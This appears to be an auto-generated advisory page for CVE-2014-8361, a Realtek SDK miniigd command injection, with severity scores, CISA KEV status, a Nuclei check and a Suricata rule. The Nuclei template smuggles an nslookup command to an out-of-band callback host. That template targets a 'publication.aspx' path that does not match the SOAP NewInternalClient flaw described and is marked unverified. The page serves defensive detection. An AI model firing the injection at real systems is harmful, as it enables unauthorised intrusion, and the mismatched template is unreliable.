CVE-2014-8361: Realtek SDK exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

The miniigd SOAP service in Realtek SDK allows remote attackers to execute arbitrary code via a crafted NewInternalClient request, as exploited in the wild through 2023.

Description quoted from the CVE record (assigned by mitre, published 2015-05-01).

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2023-09-18
US federal deadline: 2023-10-09
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Exploit-DB entry, 5 code repositories and 2 research write-ups naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 17 references on Exploit Observer

Live scores

EPSS: 1.000
very likely to be attacked soon
VEDAS: 0.987
strong exploit evidence
On CISA KEV: Yes, since 2023-09-18
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Not stated	versions not stated in the record	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Realtek SDK - Command Injection
The miniigd SOAP service in Realtek SDK allows remote attackers to execute arbitrary code via a crafted NewInternalClient request, as exploited in the wild through 2023.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /security/publication.aspx?name=1;nslookup+{{interactsh-url}}); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2014-8361.yaml

Show the template (29 lines)

yaml

id: CVE-2014-8361

info:
  name: "Realtek SDK - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The miniigd SOAP service in Realtek SDK allows remote attackers to execute arbitrary code via a crafted NewInternalClient request, as exploited in the wild through 2023.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2014-8361&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=realtek&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cve-id: CVE-2014-8361
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2014,realtek,cmdi,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/security/publication.aspx?name=1;nslookup+{{interactsh-url}}"
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2014-8361.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2014-8361 Realtek SDK - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2014-8361 Realtek SDK - Command Injection"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"publication.aspx"; nocase; fast_pattern; content:"name="; nocase; content:"nslookup"; nocase; classtype:web-application-attack; reference:cve,CVE-2014-8361; reference:url,https://www.exploit.observer/?keyword=CVE-2014-8361&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=realtek&match=exact; sid:1018397; rev:1;)

CVE-2014-8361.rules on GitHub

Advisories on this CVE

“ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)

References

Exploit code

37169 (exploit)

Technical analysis and advisories

JVN#47580234 (third-party-advisory)
JVN#67456944 (third-party-advisory)

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2014-8361 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.